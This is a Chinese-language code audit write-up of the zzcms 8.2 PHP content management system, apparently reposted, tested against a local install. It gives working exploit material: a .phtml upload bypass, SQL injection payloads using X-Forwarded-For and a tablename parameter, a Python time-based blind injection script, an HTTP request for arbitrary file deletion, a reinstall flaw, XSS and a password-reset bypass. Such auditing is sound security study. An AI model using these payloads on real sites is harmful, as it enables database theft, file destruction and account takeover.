2020/2/17 zzcms8.2 PHP代碼審計


0x00 看網站結構

*********************************
*				*
*	ZZCMS產品版目錄結構	*
*				*
*********************************

/install 安裝程序目錄(安裝時必須有可寫入權限)
/admin 默認后台管理目錄(可任意改名)
/user 注冊用戶管理程序存放目錄
/skin 用戶網站模板存放目錄;更多用戶網站模板可從http://www.zzcms.net/skin.asp 下載
/template 系統模板存放目錄;更多系統模板可從http://www.zzcms.net/template.asp 下載
/inc 系統所用包含文件存放目錄
/area 各地區顯示文件
/zs 招商程序文件
/dl 代理
/zh 展會
/company 企業
/job 招聘
/zx 資訊
/special專題
/pp 品牌
/wangkan 網刊
/ask 問答
/zt 注冊用戶展廳頁程序
/one 專存放單頁面,如公司簡介頁,友情鏈接頁,幫助頁都放在這個目錄里了
/ajax ajax程序處理頁面
/reg 用戶注冊頁面
/3 第三方插件存放目錄
	/3/ckeditor CK編緝器程序存放目錄
	/3/alipay 支付寶在線支付系統存放目錄
	/3/tenpay 財富通在線支付系統存放目錄
	/3/qq_connect2.0 qq登錄接口文件
	/3/ucenter_api discuz論壇用戶同步登錄接口文件
	/3/kefu 在線客服代碼
	/3/mobile_msg 第三方手機短信API
	/3/phpexcelreader PHP讀取excel文件組件
/cache 緩存文件
/uploadfiles 上傳文件存放目錄
/dl_excel 要導入的代理信息excel表格文件上傳目錄
/image 程序設計圖片,swf文件存放目錄
/flash 展廳用透明flash裝飾動畫存放目錄
/js js文件存放目錄
/html 靜態頁存放目錄

/favicon.ico 地址欄左側小圖標文件
/web.config 偽靜態規則文件for iis7(萬網比較常用)
/httpd.ini  偽靜態規則文件for iss6
/.htaccess  偽靜態規則文件for apache

0x01 通讀代碼

先看一下入口文件:index.php:
引用配置文件,還有調用模板

先跟過去看看配置文件吧:
top_index.php
1:打開模板
$fp返回值是否為true

if (file_exists($fp)==false){

echo $fp.' no this template';

exit;

2:還有一個我覺得奇怪的點:

$channel=strtolower($_SERVER['REQUEST_URI']);

能夠傳入我們請求的url,注意一下看看后面的文件有沒有可控的點
3:這個頁面對username和password的cookie做了過濾,偽造應該不行了

bottom.php:

定義function sitebottom()函數
引用模板
label.php:
調用其他文件
留意一下這個頁面show.php

其他頁面暫時沒看到啥
開始看user文件夾下的文件,重點開始了:
manage.php:

引入了配置文件,猜測是過濾,跟進
conn.php,數據庫文件
查看check.php,發現僅僅對用戶名和密碼是否存在檢測,說明過濾文件在別的地方
從上到下一個一個頁面看

發布信息欄目:

0x02 文件上傳漏洞

重點審計這個,直覺這里問題很大
上傳先黑盒測試一下:

圖片馬上傳成功,后台看了一下也沒被過濾
這里想getshell方法太多了,就不提了。
,我們去看源碼吧

首先,先判斷文件是否存在,再檢查文件是否超過限制,接着檢查文件類型,這里可以用GIF89a繞過檢查,最后使用黑名單機制檢查文件后綴,問題就出在這里,黑名單少過濾了phtml,而apache會將phtml文件按照php文件來解析
所以我們這樣也行:

0x03 sql注入漏洞

簡單測試了幾下發現因為我們注冊的是個人賬戶,很多功能不能使用
我們直接看這個頁面:
http://127.0.0.1/user/manage.php

看代碼qq有問題,本地嘗試了一下沒有發現漏洞
我們看message.php

有過濾
到這里思路陷入了死角,剛才認真思考了一下自己一定是沒看到關鍵文件,他的過濾規則沒看到,能否sql注入就看能否找到配置文件了.
沒辦法,開始看user文件夾下的配置文件,我們根據審計結果
user/del.php

這一處兩個配置文件我們再去看一遍:

果然,終於找到了過濾文件

inc/stopsqlin.php
我們跟過去

終於看到了,簡單讀一下
過濾了xss,過濾了$_SERVER["REQUEST_URI",一開始讀代碼感到奇怪的點就不能利用了。過濾了sql注入。
我們返回去看check.php

有5處SQL語句查詢,第一處,無法利用,因為首先參數經過” /inc/stopsqlin.php“過濾,且被單引號包裹,無法閉合
剩下4處SQL語句要想執行,就必須要先進行注冊賬號。先來看第二處的sql語句。我們再看getip()函數時,可以發現這里的ip可以偽造,而且代碼未經任何過濾,僅僅只是用單引號包裹拼接。

query("UPDATE zzcms_user SET loginip = '".getip()."' WHERE 
username='".$username."'");//¸üÐÂ×îºóµÇ¼IP

全局搜索getip:

看到了這個,猜測是定義函數,我們過去看看

這個和bluecms出現了相同的問題
ip我們可控,嘗試注入

這里關鍵參數ip字段我采用的是頭部的X-Forwarded-For字段

成功注入出了我們的cms管理員賬號密碼
密碼MD5解密即可(這里sqlmap內置已經解密好了)
全局搜索getip()
在”/user/logincheck.php“、”/admin/logincheck.php“中也存在多處由ip導致的sql注入

這里再看一個sql注入

/user/del.php

我們發現有一個sql語句直接通過兩個變量$tablename和$id拼接而成的,而這個$tablename變量可直接從post方式獲取,代碼未經任何過濾直接拼接,變量$tablename沒有經過單引號包裹從而引發了sql注入。
我們看一下繼續看

變量$id和$tablename都是經過POST方式獲得,但是$id經過checkid的消毒處理
所以我們不能使用大於號、小於號
文章

https://www.freebuf.com/vuls/161888.html

首先我們必須確定列id和editor是屬於具體哪個表的

payload:

id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)#

這里注意這個不是一個通用payload,因為如果zzcms_answer是一個空表,則該payload無法利用

改進一下:

id=1&tablename=zzcms_answer where id=999999999 union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(3),1)#

因為這里采用的是基於時間的盲注,從zzcms_answer表中查詢的結果有可能為空,如果為空,就不能執行后面的if語句,所以為了確保有查詢結果,加入聯合查詢,保證有查詢結果
貼上盲注腳本:

#/user/del.php
import requests

url = "http://127.0.0.1/user/del.php"
database = ""

for i in range(1,50):
    flag = 0
    for j in range(95,123):
        data = {
            "id":"1",
            "tablename":"zzcms_answer union select 1,2 and if(ascii(substr(database(),%d,1))=%d,sleep(3),1)#"%(i,j)
            }
        r = requests.post(url,data=data)
        t = r.elapsed.total_seconds()
        if t >= 3:
            database = database + chr(j)
            flag = 1
            break
    if flag == 0 and j == 122:
        print("database:",database)
        break

0x04 任意文件刪除漏洞

頁面:
http://127.0.0.1/user/adv.php
!

很明顯的任意文件刪除

if (isset($_REQUEST["oldimg"])){

$oldimg=$_REQUEST["oldimg"];

}else{

$oldimg="";

}



$rs=query("select usersf from zzcms_user where 
username='".$_COOKIE["UserName"]."' ");

$row=fetch_array($rs);

if ($row["usersf"]=="¸öÈË"){

echo  $f_array[2];



exit;

}



if ($action=="modify"){

query("update zzcms_textadv set 
adv='$adv',company='$company',advlink='$advlink',img='$img',passed=0 
where username='".$_COOKIE["UserName"]."'");

//ΪÁË·ÀÖ¹Ò»¸öÓû§Í¨¹ýÐÞ¸Ä¹ã¸æ´Ê¹¦Äܳ¤ÆÚ°ÔÕ¼Ò»¸öλÖõ±Óû§ÐÞ¸Ä¹ã¸æ´Êʱֻ¸üÐÂÆäÄÚÈݲ»¸üÐÂʱ¼ä¡£

//deloldimg

if ($oldimg<>$img){

            $f="../".$oldimg;

            if (file_exists($f)){

            unlink($f);       

            }

$f變量,該變量直接由"../"與$oldimg拼接而得,並未過濾.和/字符,導致跨目錄刪除文件。所以按照代碼邏輯,我們只要讓$img不等於$oldimg,且$action等於”modify”即可。
復現:

同樣的問題:
我們看manage.php

payload:

POST /user/manage.php?action=modify HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 433
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/user/manage.php
Cookie: BLUE[user_id]=2; BLUE[user_name]=admin777; BLUE[user_pwd]=f146dec94163c1288e623b9c0d98128d; bdshare_firstime=1581904550027; PHPSESSID=1c1e1b99c601fd3b06c3ead91633d757; UserName=admin888; PassWord=e10adc3949ba59abbe56e057f20f883e
Upgrade-Insecure-Requests: 1

somane=%E7%8E%8B%E5%8F%B9%E4%B9%8B&sex=1&email=1278121435%40qq.com&qq=&oldqq=&mobile=&b=0&s=0&province=%E8%AF%B7%E9%80%89%E6%8B%A9%E7%9C%81%E4%BB%BD&city=%E8%AF%B7%E9%80%89%E6%8B%A9%E5%9F%8E%E5%8C%BA&xiancheng=&address=11&homepage=11&phone=15033334444&fox=11&content=%26nbsp%3B&img=%2Fuploadfiles%2F2020-02%2F20200220110626624.png&oldimg=admin/test.php&flv=&oldflv=&Submit=%E4%BF%9D%E5%AD%98%E4%BF%AE%E6%94%B9%E7%BB%93%E6%9E%9C

類似的,我們可以在
/user/ppsave.php, /user/zssave.php,/user/licence_save.php可以看到相同問題

0x05 網站重裝漏洞

先簡單測試一下:

有install.lock 文件,我們去入口文件看看
index.php
開頭就是常規的配置文件,對post和get傳過來的變量做了過濾。
我們跟進step1_.php

<?php

if(file_exists("install.lock")){

echo "<div 
style='padding:30px;'>°²×°Ïòµ¼ÒÑÔËÐа²×°¹ý£¬ÈçÐèÖØ°²×°£¬Çëɾ³ý 
/install/install.lock Îļþ</div>";

}

但是去看step2_.php

並沒有看到包含這個檢測文件,這就造成了網站重裝漏洞:
復現:
payload:

POST /install/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1518262531074;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 6

step=2

0x06 XSS漏洞

位置:
/inc/top.php
很多疑似xss的頁面都經過了開頭包含” /inc/conn.php“文件,對REQUEST數據進行消毒處理。但是這個文件沒有。
問題代碼:

<?php
//echo $_SERVER['REQUEST_URI'];
if (@$_POST["action"]=="search"){
echo "<script>location.href='".@$_POST["lb"]."/search.php?keyword=".@$_POST["keyword"]."'</script>";
}

我們只需要將標簽閉合即可實現反射型xss
復現:

再來看一個XSS:
位置:

/install/step_6.php 第10-11行
問題代碼:

變量$admin和$adminpwdtrue直接打印出來,很可能存在XSS漏洞,我們繼續跟進這兩個變量
跟進到入口index.php文件

if($_POST) extract($_POST, EXTR_SKIP);//把數組中的鍵名直接注冊為了變量。就像把$_POST[ai]直接注冊為了$ai。
if($_GET) extract($_GET, EXTR_SKIP);
$submit = isset($_POST['submit']) ? true : false;
$step = isset($_POST['step']) ? $_POST['step'] : 1;

extract函數的作用是將數組的鍵名變成各個變量名,鍵名對應鍵值對應變量的值,並且我們發現一個變量$step,猜測可能跟安裝的步驟有關,繼續跟進該變量

case '6'://°²×°³É¹¦

            include 'step_'.$step.'.php';

      break;

發現當變量$step值為6時,就包含了step_6.php,而我們可以發現index.php的開頭是沒有包含之前所說的關鍵文件/inc/conn.php的,所以這里的POST和GET是沒有經過轉義處理的,所以$admin和$adminpwdtrue是可控的變量

復現:

同樣的漏洞還出現在”/uploadimg_form.php“文件66-67行處

0x07 任意密碼修改漏洞

和網站重裝類似,我們先看問題代碼
/one/getpassword.php文件第 73行,觸發漏洞的關鍵代碼。

}elseif($action=="step3" && @$_SESSION['username']!=''){
$passwordtrue = isset($_POST['password'])?$_POST['password']:"";
$password=md5(trim($passwordtrue));
query("update zzcms_user set password='$password',passwordtrue='$passwordtrue' where username='".@$_SESSION['username
$strout=str_replace("{step4}","",$strout) ;
$strout=str_replace("{/step4}","",$strout) ;
$strout=str_replace("{step1}".$step1."{/step1}","",$strout) ;
$strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
$strout=str_replace("{step3}".$step3."{/step3}","",$strout) ;
$strout=str_replace("{#username}",@$_SESSION['username'],$strout) ;

這里僅僅判斷了 action參數為 step3,並且$_SESSION['username']不為空,就進入密碼修改的邏輯,直接執
行sql語句執行update操作。那么這里的$_SESSION['username']從哪里來的,我們繼續看代碼,在
/one/getpassword.php文件第 31行,可以看到 $_SESSION['username']。

if ($action=="step1"){
$username = isset($_POST['username'])?$_POST['username']:"";
$_SESSION['username']=$username;
checkyzm($_POST["yzm"]);
$rs=query("select mobile,email from zzcms_user where username='" . $username . "' ");
$row=fetch_array($rs);
$regmobile=$row['mobile'];
$regmobile_show=str_replace(substr($regmobile,3,4),"****",$regmobile);
$regemail=$row['email'];
$regemail_show=str_replace(substr($regemail,1,2),"**",$regemail);

這里username是從step1不做中 post傳遞過來的 username參數,也就是我們要修改的用戶名。那么漏洞就很
明顯了,在第一步輸入要修改的用戶名,然后獲取session值,直接跳到第三步,修改密碼就可以打到任意
用戶密碼修改。

漏洞復現

第一步先在找回密碼頁面輸入要修改的用戶名,點擊下一步,burp攔截。
抓包獲取session值

這里我們獲取到了 session值,然后根據上面的描述,修改數據包,直接進入修改密碼操作

這里session就是上面獲取到的,只需要修改 post-data值就可以。這里改成mima888。action值要改成step3
才可以進去 數據庫 update語句的操作。然后重放數據包,就可以完成任意密碼修改了。

0x08 總結

到現在,審計了4天結束了這個cms。
期間有一個最大的尷尬就是沒有找到關鍵配置文件,導致做了很多無用功。
期間多次因為狀態不好審計的太慢,漏洞沒有復現成功。
下一個cms要比這次讀的代碼更多,一定要仔細的通讀,慢慢來,慢慢積累。
找到漏洞點后要注意看前后代碼邏輯,有時候漏洞是在某些特定情況下才能觸發。
在尋找某個文件夾下的漏洞時,一定要明白這些文件的關系。
最后,期待下一個cms233.


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM